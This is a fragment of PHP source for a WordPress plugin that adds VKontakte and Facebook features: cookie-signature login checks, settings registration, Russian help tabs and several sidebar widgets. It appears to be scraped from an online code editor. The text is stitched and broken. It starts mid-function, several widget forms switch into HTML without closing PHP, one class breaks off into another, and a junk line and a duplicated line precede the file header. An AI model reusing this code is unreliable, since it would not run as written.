        return $data['response'][0]['id'];
    }

private function first_postImage(&$text)
    {
        if ((bool)preg_match('#<img[^>]+src=[\'"]([^\'"]+)[\'"]#', $text, $matches)) {
            return $matches[1];
        } else {
            return '';
        }
    }

private function authOpenAPIMember()
    {
        $session = array();
        $member = false;
        $valid_keys = array('expire', 'mid', 'secret', 'sid', 'sig');
        $app_cookie = $_COOKIE['vk_app_' . get_option('vkapi_appid')];
        if ($app_cookie) {
            $session_data = explode('&', $app_cookie, 10);
            foreach ($session_data as $pair) {
                list($key, $value) = explode('=', $pair, 2);
                if (empty($key) || empty($value) || !in_array($key, $valid_keys)) {
                    continue;
                }
                $session[$key] = $value;
            }
            foreach ($valid_keys as $key) {
                if (!isset($session[$key])) {
                    return $member;
                }
            }
            ksort($session);

$sign = '';
            foreach ($session as $key => $value) {
                if ($key != 'sig') {
                    $sign .= ($key . '=' . $value);
                }
            }
            $sign .= get_option('vkapi_api_secret');
            $sign = md5($sign);
            if ($session['sig'] == $sign && $session['expire'] > time()) {
                $member = array(
                    'id' => intval($session['mid']),
                    'secret' => $session['secret'],
                    'sid' => $session['sid']
                );
            }
        }

return $member;
    }

##### OTHER
    function register_settings()
    {
        register_setting('vkapi-settings-group', 'vkapi_appid');
        register_setting('vkapi-settings-group', 'fbapi_admin_id');
        register_setting('vkapi-settings-group', 'vkapi_api_secret');
        register_setting('vkapi-settings-group', 'vkapi_comm_width');
        register_setting('vkapi-settings-group', 'vkapi_comm_limit');
        register_setting('vkapi-settings-group', 'vkapi_comm_graffiti');
        register_setting('vkapi-settings-group', 'vkapi_comm_photo');
        register_setting('vkapi-settings-group', 'vkapi_comm_audio');
        register_setting('vkapi-settings-group', 'vkapi_comm_video');
        register_setting('vkapi-settings-group', 'vkapi_comm_link');
        register_setting('vkapi-settings-group', 'vkapi_comm_autoPublish');
        register_setting('vkapi-settings-group', 'vkapi_comm_height');
        register_setting('vkapi-settings-group', 'vkapi_show_first');
        register_setting('vkapi-settings-group', 'vkapi_like_type');
        register_setting('vkapi-settings-group', 'vkapi_like_verb');
        register_setting('vkapi-settings-group', 'vkapi_like_cat');
        register_setting('vkapi-settings-group', 'vkapi_like_bottom');
        register_setting('vkapi-settings-group', 'vkapi_share_cat');
        register_setting('vkapi-settings-group', 'vkapi_share_type');
        register_setting('vkapi-settings-group', 'vkapi_share_text');
        register_setting('vkapi-settings-group', 'vkapi_align');
        register_setting('vkapi-settings-group', 'vkapi_show_comm');
        register_setting('vkapi-settings-group', 'vkapi_show_like');
        register_setting('vkapi-settings-group', 'fbapi_show_comm');
        register_setting('vkapi-settings-group', 'vkapi_show_share');
        register_setting('vkapi-settings-group', 'vkapi_some_logo_e');
        register_setting('vkapi-settings-group', 'vkapi_some_logo');
        register_setting('vkapi-settings-group', 'vkapi_some_desktop');
        register_setting('vkapi-settings-group', 'vkapi_some_revision_d');
        register_setting('vkapi-settings-group', 'vkapi_close_wp');
        register_setting('vkapi-settings-group', 'vkapi_login');
        register_setting('vkapi-settings-group', 'tweet_show_share');
        register_setting('vkapi-settings-group', 'tweet_account');
        register_setting('vkapi-settings-group', 'tweet_share_cat');
        register_setting('vkapi-settings-group', 'gpapi_show_like');
        register_setting('vkapi-settings-group', 'fbapi_like_cat');
        register_setting('vkapi-settings-group', 'fbapi_show_like');
        register_setting('vkapi-settings-group', 'fbapi_appid');
        register_setting('vkapi-settings-group', 'gpapi_like_cat');
        register_setting('vkapi-settings-group', 'mrc_show_share');
        register_setting('vkapi-settings-group', 'mrc_share_cat');
        register_setting('vkapi-settings-group', 'ya_show_share');
        register_setting('vkapi-settings-group', 'ya_share_cat');
        register_setting('vkapi-settings-group', 'vkapi_vk_group');
        register_setting('vkapi-settings-group', 'vkapi_at');
        register_setting('vkapi-settings-group', 'vkapi_like_top');
        register_setting('vkapi-settings-group', 'vkapi_crosspost_default');
        register_setting('vkapi-settings-group', 'vkapi_crosspost_length');
        register_setting('vkapi-settings-group', 'vkapi_crosspost_link');
        register_setting('vkapi-settings-group', 'vkapi_crosspost_signed');
        register_setting('vkapi-settings-group', 'vkapi_crosspost_category');
        register_setting('vkapi-settings-group', 'vkapi_crosspost_anti');
    }

function contextual_help()
    {
        // todo-dx: edit contextual help
        $screen = get_current_screen();
        /* main */
        $help = '<p>Добавляет функционал API сайта ВКонтакте(vk.com) на ваш блог.<br />
                Комментарии, социальные кнопки, виджеты...</p>';
        $screen->add_help_tab(
            array(
                'id' => 'vkapi_main',
                'title' => __('Main', $this->plugin_domain),
                'content' => $help
            )
        );
        /* comments */
        $help = '<p>Появляется возможность переключения между комментариями WordPress-a и Вконтакта.<br />
				"Прячутся" и "показываются" блоки <b>div</b> с <b>id=comments</b> ( блок комментариев ) и <b>id=respond</b> ( блок формы ответа ) ( <i>по спецификации Wordpress-a</i> )<br />
				В наличии вся нужная настройка, а также возможность вовсе оставить лишь комментарии Вконтакта.</p>';
        $screen->add_help_tab(
            array(
                'id' => 'vkapi_comments',
                'title' => __('Comments', $this->plugin_domain),
                'content' => $help
            )
        );
        /* like button */
        $help = '<p>Собственно кнопка с настройкой позиции и вида.<br />
				По результатам этой кнопки есть <a href="' . admin_url("widgets.php") . '">виждет</a> "Популярное" со статистикой.<br /><br />
				Доступен шорткод [vk_like], по умолчанию берётся айдишник страницы.
				Но также можно указать [vk_like id="123456"] для уникальности кнопки.</p>';
        $screen->add_help_tab(
            array(
                'id' => 'vkapi_like',
                'title' => __('Like button', $this->plugin_domain),
                'content' => $help
            )
        );
        /* decor */
        $help = '<p>В браузерах Google Chrome и Safari ( движок WebKit ) есть возможность показывать всплывающее сообщение прямо на рабочем столе<br />
				А значит вы в любой момент можете узнать о новом сообщении.</p>';
        $screen->add_help_tab(
            array(
                'id' => 'vkapi_decor',
                'title' => __('Decor', $this->plugin_domain),
                'content' => $help
            )
        );
        /* other */
        $help = '<p><strong>В WordPress-e срабатывает астосохранение при редактировании/добавлении новой записи(поста).<br />
				Это плохо тем, что появляется туча бесполезных черновиков (копий, записей).
				А ведь зачем заполнять ими нашу базу данных?<br />
				<strong>Disable Revision Post Save</strong> - устанавливает количество выше упомянутых черновиков в ноль.<br /></p>';
        $screen->add_help_tab(
            array(
                'id' => 'vkapi_other',
                'title' => __('No Plugin Options', $this->plugin_domain),
                'content' => $help
            )
        );
        /* help */
        $help = '<p>Все вопросики и пожелания <strong><a href="http://www.kowack.info/projects/vk_api/" title="VKontakte API Home">сюдАтачки</a></strong> или <strong><a href="http://vk.com/vk_wp" title="VKontakte API Club">тУтачки</a></strong>.</p>';
        $screen->add_help_tab(
            array(
                'id' => 'vkapi_help',
                'title' => __('Help', $this->plugin_domain),
                'content' => $help
            )
        );
    }

function vkapi_inner_custom_box_comm()
    {
        global $post;
        $temp = get_post_meta($post->ID, 'vkapi_comments', true);
        $temp = ($temp == '1' || $temp == '0') ? $temp : 1;
        echo '<input type="radio" name="vkapi_comments" value="1"';
        echo $temp == 1 ? ' checked />' : '/>';
        echo __('Enable', $this->plugin_domain) . '<br />';
        echo '<input type="radio" name="vkapi_comments" value="0"';
        echo $temp == 0 ? ' checked />' : '/>';
        echo __('Disable', $this->plugin_domain);
    }

function vkapi_inner_custom_box_butt()
    {
        global $post;
        $temp = get_post_meta($post->ID, 'vkapi_buttons', true);
        $temp = ($temp == '1' || $temp == '0') ? $temp : 1;
        echo '<input type="radio" name="vkapi_buttons" value="1"';
        echo $temp == 1 ? ' checked />' : '/>';
        echo __('Enable', $this->plugin_domain) . '<br />';
        echo '<input type="radio" name="vkapi_buttons" value="0"';
        echo $temp == 0 ? ' checked />' : '/>';
        echo __('Disable', $this->plugin_domain);
    }

static function get_vk_login()
    {
        $random_string = wp_generate_password(12, false, false);

return "
<div id=\"{$random_string}\"
     class=\"vkapi_vk_login\"
     style=\"padding: 0px; border: 0px; width: 125px;\"
     onclick=\"VK.Auth.login(onSignon)\">
   <a>ВойтиВКонтакте</a>
</div>
<style type=\"text/css\">
	#login_button td, #login_button tr {
		padding: 0px !important;
		margin: 0px !important;
		vertical-align: top !important;
	}
</style>
<script type=\"text/javascript\">
	jQuery(\"body\").on(\"vkapi_vk\", function(){
		VK.UI.button(\"{$random_string}\");
    });
</script>
        ";
    }
}

/* =Vkapi Widgets
-------------------------------------------------------------- */

/* Community Widget */
class VKAPI_Community extends WP_Widget
{

var $plugin_domain = 'vkapi';

function __construct()
    {
        load_plugin_textdomain($this->plugin_domain, false, dirname(plugin_basename(__FILE__)) . '/lang/');
        $widget_ops = array(
            'classname' => 'widget_vkapi',
            'description' => __('Information about VKontakte group', $this->plugin_domain)
        );
        parent::WP_Widget(
            'vkapi_community',
            $name = 'VKapi: ' . __('Community Users', $this->plugin_domain),
            $widget_ops
        );
    }

function update($new_instance, $old_instance)
    {
        return $new_instance;
    }

function form($instance)
    {
        $instance = wp_parse_args(
            (array)$instance,
            array('type' => 'users', 'title' => '', 'width' => '0', 'height' => '1', 'gid' => '28197069')
        );
        $title = esc_attr($instance['title']);
        $gid = esc_attr($instance['gid']);
        $width = esc_attr($instance['width']);
        $height = esc_attr($instance['height']);

?><p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:'); ?>
        <input class="widefat"
               id="<?php echo $this->get_field_id('title'); ?>"
               name="<?php echo $this->get_field_name('title'); ?>"
               type="text"
               value="<?php echo $title; ?>"/>
    </label></p>

<p><label for="<?php echo $this->get_field_id('gid'); ?>"><?php _e(
        'ID of group (can be seen by reference to statistics):',
        $this->plugin_domain
    ); ?>
        <input class="widefat"
               id="<?php echo $this->get_field_id('gid'); ?>"
               name="<?php echo $this->get_field_name('gid'); ?>"
               type="text"
               value="<?php echo $gid; ?>"/>
    </label></p>

<p><label for="<?php echo $this->get_field_id('width'); ?>"><?php _e('Width:', $this->plugin_domain); ?>
        <input class="widefat"
               id="<?php echo $this->get_field_id('width'); ?>"
               name="<?php echo $this->get_field_name('width'); ?>"
               type="text"
               value="<?php echo $width; ?>"/>
    </label></p>

<p><label for="<?php echo $this->get_field_id('height'); ?>"><?php _e('Height:', $this->plugin_domain); ?>
        <input class="widefat"
               id="<?php echo $this->get_field_id('height'); ?>"
               name="<?php echo $this->get_field_name('height'); ?>"
               type="text"
               value="<?php echo $height; ?>"/>
    </label></p>

<p>
        <label for="<?php echo $this->get_field_id('type'); ?>"><?php _e('Layout:', $this->plugin_domain); ?></label>
        <select name="<?php echo $this->get_field_name('type'); ?>"
                id="<?php echo $this->get_field_id('type'); ?>"
                class="widefat">
            <option value="users"<?php selected($instance['type'], 'users'); ?>><?php _e(
                'Members',
                $this->plugin_domain
            ); ?></option>
            <option value="news"<?php selected($instance['type'], 'news'); ?>><?php _e(
                'News',
                $this->plugin_domain
            ); ?></option>
            <option value="name"<?php selected($instance['type'], 'name'); ?>><?php _e(
                'Only Name',
                $this->plugin_domain
            ); ?></option>
        </select>
    </p>
    <?php
    }
}

/* Recommend Widget */
class VKAPI_Recommend extends WP_Widget
{

var $plugin_domain = 'vkapi';

function __construct()
    {
        load_plugin_textdomain($this->plugin_domain, false, dirname(plugin_basename(__FILE__)) . '/lang/');
        $widget_ops = array(
            'classname' => 'widget_vkapi',
            'description' => __('Top site on basis of "I like" statistics', $this->plugin_domain)
        );
        parent::WP_Widget('vkapi_recommend', $name = 'VKapi: ' . __('Recommends', $this->plugin_domain), $widget_ops);
    }

function update($new_instance, $old_instance)
    {
        return $new_instance;
    }

function form($instance)
    {
        $instance = wp_parse_args(
            (array)$instance,
            array('title' => '', 'limit' => '5', 'period' => 'month', 'verb' => '0', 'width' => '0')
        );
        $title = esc_attr($instance['title']);
        $limit = esc_attr($instance['limit']);
        $width = esc_attr($instance['width']);

<p><label for="<?php echo $this->get_field_id('limit'); ?>"><?php _e('Number of posts:', $this->plugin_domain); ?>
        <input class="widefat"
               id="<?php echo $this->get_field_id('limit'); ?>"
               name="<?php echo $this->get_field_name('limit'); ?>"
               type="text"
               value="<?php echo $limit; ?>"/>
    </label></p>

<p>
        <label for="<?php echo $this->get_field_id('period'); ?>"><?php _e(
            'Selection period:',
            $this->plugin_domain
        ); ?></label>
        <select name="<?php echo $this->get_field_name('period'); ?>"
                id="<?php echo $this->get_field_id('period'); ?>"
                class="widefat">
            <option value="day"<?php selected($instance['period'], 'day'); ?>><?php _e(
                'Day',
                $this->plugin_domain
            ); ?></option>
            <option value="week"<?php selected($instance['period'], 'week'); ?>><?php _e(
                'Week',
                $this->plugin_domain
            ); ?></option>
            <option value="month"<?php selected($instance['period'], 'month'); ?>><?php _e(
                'Month',
                $this->plugin_domain
            ); ?></option>
        </select>
    </p>

<p>
        <label for="<?php echo $this->get_field_id('verb'); ?>"><?php _e(
            'Formulation:',
            $this->plugin_domain
        ); ?></label>
        <select name="<?php echo $this->get_field_name('verb'); ?>"
                id="<?php echo $this->get_field_id('verb'); ?>"
                class="widefat">
            <option value="0"<?php selected($instance['verb'], '0'); ?>><?php _e(
                '... people like this',
                $this->plugin_domain
            ); ?></option>
            <option value="1"<?php selected($instance['verb'], '1'); ?>><?php _e(
                '... people find it intersting',
                $this->plugin_domain
            ); ?></option>
        </select>
    </p>
    <?php
    }
}

/* Login Widget */
class VKAPI_Login extends WP_Widget
{

var $plugin_domain = 'vkapi';

function __construct()
    {
        load_plugin_textdomain($this->plugin_domain, false, dirname(plugin_basename(__FILE__)) . '/lang/');
        $widget_ops = array('classname' => 'widget_vkapi', 'description' => __('Login widget', $this->plugin_domain));
        parent::WP_Widget('vkapi_login', $name = 'VKapi: ' . __('Login', $this->plugin_domain), $widget_ops);
    }

function update($new_instance, $old_instance)
    {
        return $new_instance;
    }

function form($instance)
    {
        $instance = wp_parse_args((array)$instance, array('Message' => 'What\'s up'));
        $title = esc_attr($instance['Message']);

?><p><label for="<?php echo $this->get_field_id('Message'); ?>"><?php _e('Message:'); ?>
        <input class="widefat"
               id="<?php echo $this->get_field_id('Message'); ?>"
               name="<?php echo $this->get_field_name('Message'); ?>"
               type="text"
               value="<?php echo $title; ?>"/>
    </label></p>
    <?php
    }
}

/* Comments Widget */
class VKAPI_Comments extends WP_Widget
{

var $plugin_domain = 'vkapi';

function __construct()
    {
        load_plugin_textdomain($this->plugin_domain, false, dirname(plugin_basename(__FILE__)) . '/lang/');
        $widget_ops = array('classname' => 'widget_vkapi', 'description' => __('Last Comments', $this->plugin_domain));
        parent::WP_Widget('vkapi_comments', $name = 'VKapi: ' . __('Last Comments', $this->plugin_domain), $widget_ops);
    }

function update($new_instance, $old_instance)
    {
        return $new_instance;
    }

function form($instance)
    {
        $instance = wp_parse_args(
            (array)$instance,
            array('title' => '', 'limit' => '5', 'width' => '0', 'height' => '1')
        );
        $title = esc_attr($instance['title']);
        $limit = esc_attr($instance['limit']);
        $width = esc_attr($instance['width']);
        $height = esc_attr($instance['height']);

<p><label for="<?php echo $this->get_field_id('limit'); ?>"><?php _e(
        'Number of comments:',
        $this->plugin_domain
    ); ?>
        <input class="widefat"
               id="<?php echo $this->get_field_id('limit'); ?>"
               name="<?php echo $this->get_field_name('limit'); ?>"
               type="text"
               value="<?php echo $limit; ?>"/>
    </label></p>

/* Cloud Widget */
class VKAPI_Cloud extends WP_Widget
{

var $plugin_domain = 'vkapi';

function __construct()
    {
        load_plugin_textdomain($this->plugin_domain, false, dirname(plugin_basename(__FILE__)) . '/lang/');
        $widget_ops = array(
            'classname' => 'widget_vkapi',
            'description' => __('HTML5 Cloud of tags and cats', $this->plugin_domain)
        );
        parent::WP_Widget('vkapi_tag_cloud', $name = 'VKapi: ' . __('Tags Cloud', $this->plugin_domain), $widget_ops);
    }

function widget($args, $instance)
    {
        extract($args);
        $vkapi_div_id = $args['widget_id'];
        $textColour = $instance['textColor'];
        $activeLink = $instance['activeLink'];
        $shadow = $instance['shadow'];
        $width = $instance['width'];
        $height = $instance['height'];
        // tags
        ob_start();
        if ($instance['tags'] == 1) {
            wp_tag_cloud();
        }
        $tags = ob_get_clean();
        // cats
        ob_start();
        if ($instance['cats'] == 1) {
            wp_list_categories('title_li=&show_count=1&hierarchical=0&style=none');
        }
        $cats = ob_get_clean();
        // end
        /** @var $before_widget string */
        /** @var $before_title string */
        /** @var $after_title string */
        /** @var $after_widget string */
        echo $before_widget . $before_title . $instance['title'] . $after_title . '<div id="' . $vkapi_div_id . '_wrapper">';
        $path = WP_PLUGIN_URL . '/' . dirname(plugin_basename(__FILE__)) . '/js';

echo '</div>';
        echo "
<div id='vkapi_CloudCanvasContainer'>
    <canvas width='{$width}' height='{$height}' id='vkapi_cloud'>
        <p>http://www.kowack.info/</p>
    </canvas>
    <div id='vkapi_tags'>
        {$tags}
        {$cats}
    </div>
</div>
<script type='text/javascript' src='{$path}/jquery.tagcanvas.min.js'></script>
<script type='text/javascript'>
    if( ! jQuery('#vkapi_cloud').tagcanvas({
        reverse: true,
        // maxSpeed: .5,
        initial: [0.3,-0.3],
        minSpeed: .025,
        textColour: '{$textColour}',
        textFont: null,
        outlineColour: '{$activeLink}',
        pulsateTo: .9,
        wheelZoom: false,
        shadow: '{$shadow}',
        depth: 1.1,
        minBrightness: .5,
        weight: true,
        weightMode: 'colour',
        zoom: .888,
        weightSize: 3
    }, 'vkapi_tags')) {
        jQuery('#vkapi_CloudCanvasContainer').hide();
    }
 </script>
        ";
        echo $after_widget;
    }

function update($new_instance, $old_instance)
    {
        if ($old_instance['tags'] == 0 && $old_instance['cats'] == 0) {
            $new_instance['tags'] = 1;
        }

return $new_instance;
    }

function form($instance)
    {
        $instance = wp_parse_args(
            (array)$instance,
            array(
                'title' => '',
                'width' => '200',
                'height' => '300',
                'textColor' => '#0066cc',
                'activeLink' => '#743399',
                'shadow' => '#666',
                'tags' => '1',
                'cats' => '1',
            )
        );

$title = esc_attr($instance['title']);
        $width = esc_attr($instance['width']);
        $height = esc_attr($instance['height']);
        $textColor = esc_attr($instance['textColor']);
        $activeLink = esc_attr($instance['activeLink']);
        $shadow = esc_attr($instance['shadow']);
        $tags = esc_attr($instance['tags']);
        $cats = esc_attr($instance['cats']);

?>
    <p>
        <label for="<?php echo $this->get_field_id('title'); ?>">
            <?php _e('Title:'); ?>
        </label>
        <input class="widefat"
               id="<?php echo $this->get_field_id('title'); ?>"
               name="<?php echo $this->get_field_name('title'); ?>"
               type="text"
               value="<?php echo $title; ?>"/>
    </p>

<p>
        <label for="<?php echo $this->get_field_id('width'); ?>">
            <?php _e('Width:', $this->plugin_domain); ?>
        </label>
        <input class="widefat"
               id="<?php echo $this->get_field_id('width'); ?>"
               name="<?php echo $this->get_field_name('width'); ?>"
               type="text"
               value="<?php echo $width; ?>"/>
    </p>

<p>
        <label for="<?php echo $this->get_field_id('height'); ?>">
            <?php _e('Height:', $this->plugin_domain); ?>
        </label>
        <input class="widefat"
               id="<?php echo $this->get_field_id('height'); ?>"
               name="<?php echo $this->get_field_name('height'); ?>"
               type="text"
               value="<?php echo $height; ?>"/>
    </p>

<p>
        <label for="<?php echo $this->get_field_id('textColor'); ?>">
            <?php _e('Color of text:', $this->plugin_domain); ?>
        </label>
        <input class="widefat"
               id="<?php echo $this->get_field_id('textColor'); ?>"
               name="<?php echo $this->get_field_name('textColor'); ?>"
               type="text"
               value="<?php echo $textColor; ?>"/>
    </p>

<p>
        <label for="<?php echo $this->get_field_id('activeLink'); ?>">
            <?php _e('Color of active link:', $this->plugin_domain); ?>
        </label>
        <input class="widefat"
               id="<?php echo $this->get_field_id('activeLink'); ?>"
               name="<?php echo $this->get_field_name('activeLink'); ?>"
               type="text"
               value="<?php echo $activeLink; ?>"/>
    </p>

<p>
        <label for="<?php echo $this->get_field_id('shadow'); ?>">
            <?php _e('Color of shadow:', $this->plugin_domain); ?>
        </label>
        <input class="widefat"
               id="<?php echo $this->get_field_id('shadow'); ?>"
               name="<?php echo $this->get_field_name('shadow'); ?>"
               type="text"
               value="<?php echo $shadow; ?>"/>
    </p>

<p>
        <label for="<?php echo $this->get_field_id('tags'); ?>">
            <?php _e('Show tags:', $this->plugin_domain); ?>
        </label>
        <select name="<?php echo $this->get_field_name('tags'); ?>"
                id="<?php echo $this->get_field_id('tags'); ?>"
                class="widefat">
            <option value="1"<?php selected($instance['tags'], '1'); ?>>
                <?php _e('Show', $this->plugin_domain); ?>
            </option>
            <option value="0"<?php selected($instance['tags'], '0'); ?>>
                <?php _e('Dont show', $this->plugin_domain); ?>
            </option>
        </select>
    </p>

<p>
        <label for="<?php echo $this->get_field_id('cats'); ?>">
            <?php _e('Show categories:', $this->plugin_domain); ?>
        </label>
        <select name="<?php echo $this->get_field_name('cats'); ?>"
                id="<?php echo $this->get_field_id('cats'); ?>"
                class="widefat">
            <option value="1"<?php selected($instance['cats'], '1'); ?>>
                <?php _e('Show', $this->plugin_domain); ?>
            </option>
            <option value="0"<?php selected($instance['cats'], '0'); ?>>
                <?php _e('Dont show', $this->plugin_domain); ?>
            </option>
        </select>
    </p>
    <?php
    }
}

/* Facebook LikeBox Widget */
class FBAPI_LikeBox extends WP_Widget
{

var $plugin_domain = 'vkapi';

function __construct()
    {
        load_plugin_textdomain($this->plugin_domain, false, dirname(plugin_basename(__FILE__)) . '/lang/');
        $widget_ops = array(
            'classname' => 'widget_vkapi',
            'description' => __('Information about Facebook group', $this->plugin_domain)
        );
        parent::WP_Widget('fbapi_recommend', $name = __('FBapi: Community Users', $this->plugin_domain), $widget_ops);
    }

function update($new_instance, $old_instance)
    {
        return $new_instance;
    }

function form($instance)
    {
        $instance = wp_parse_args(
            (array)$instance,
            array(
                'title' => '',
                'width' => '',
                'height' => '',
                'face' => 'true',
                'news' => 'false',
                'header' => 'true',
                'page' => 'https://www.facebook.com/thewordpress'
            )
        );

?>
    <p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:'); ?>
        <input class="widefat"
               id="<?php echo $this->get_field_id('title'); ?>"
               name="<?php echo $this->get_field_name('title'); ?>"
               type="text"
               value="<?php echo esc_attr($instance['title']); ?>"/>
    </label></p>

<p><label for="<?php echo $this->get_field_id('page'); ?>"><?php _e('Facebook Page URL:'); ?>
        <input class="widefat"
               id="<?php echo $this->get_field_id('page'); ?>"
               name="<?php echo $this->get_field_name('page'); ?>"
               type="text"
               value="<?php echo esc_attr($instance['page']); ?>"/>
    </label></p>

<p><label for="<?php echo $this->get_field_id('width'); ?>"><?php _e('Width:'); ?>
        <input class="widefat"
               id="<?php echo $this->get_field_id('width'); ?>"
               name="<?php echo $this->get_field_name('width'); ?>"
               type="text"
               value="<?php echo esc_attr($instance['width']); ?>"/>
    </label></p>

<p><label for="<?php echo $this->get_field_id('height'); ?>"><?php _e('Height:'); ?>
        <input class="widefat"
               id="<?php echo $this->get_field_id('height'); ?>"
               name="<?php echo $this->get_field_name('height'); ?>"
               type="text"
               value="<?php echo esc_attr($instance['height']); ?>"/>
    </label></p>

<p><label for="<?php echo $this->get_field_id('face'); ?>"><?php _e('Show Faces:'); ?>
        <input class="widefat"
               id="<?php echo $this->get_field_id('face'); ?>"
               name="<?php echo $this->get_field_name('face'); ?>"
               type="text"
               value="<?php echo esc_attr($instance['face']); ?>"/>
    </label></p>

<p><label for="<?php echo $this->get_field_id('news'); ?>"><?php _e('Stream:'); ?>
        <input class="widefat"
               id="<?php echo $this->get_field_id('news'); ?>"
               name="<?php echo $this->get_field_name('news'); ?>"
               type="text"
               value="<?php echo esc_attr($instance['news']); ?>"/>
    </label></p>

<p><label for="<?php echo $this->get_field_id('header'); ?>"><?php _e('Header:'); ?>
        <input class="widefat"
               id="<?php echo $this->get_field_id('header'); ?>"
               name="<?php echo $this->get_field_name('header'); ?>"
               type="text"
               value="<?php echo esc_attr($instance['header']); ?>"/>
    </label></p>
    <?php
    }
}

xxxxxxxxxx
        $help = '<p>Все вопросики и пожелания <strong><a href="http://www.kowack.info/projects/vk_api/" title="VKontakte API Home">сюдАтачки</a></strong> или <strong><a href="http://vk.com/vk_wp" title="VKontakte API Club">тУтачки</a></strong>.</p>';
 
<?php
/*
Plugin Name: VKontakte API
Plugin URI: http://www.kowack.info/projects/vk_api
Description: Add API functions from vk.com in your own blog. <br /><strong><a href="options-general.php?page=vkapi_settings">Settings!</a></strong>
Version: 3.6
Author: kowack
Author URI: http://www.kowack.info/
*/
​
/*
    Copyright 2011  Evgen Zabrodkyi  (email: kowack@gmail.com)
​
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.
​
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
​
    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
​
/** todo-dx:
 * шорткод для соц. кнопок
 * стили соц.кнопок
 * соц.кнопки слева\справа\центр
 * ширина блока комментариев в процентах
 * кросспост: твиттер, фейсбук, гугл
 * плавающий блок лайков
 * исправить произвольный логотип входа
 * сломались отложеные записи, исправить
 */
function vkapi_can_start()
{
    global $wp_version;
    if (version_compare($wp_version, '3.5.1', '<')) {
        function vkapi_notice_update()

${this.title}

Code Editor : vkapi.php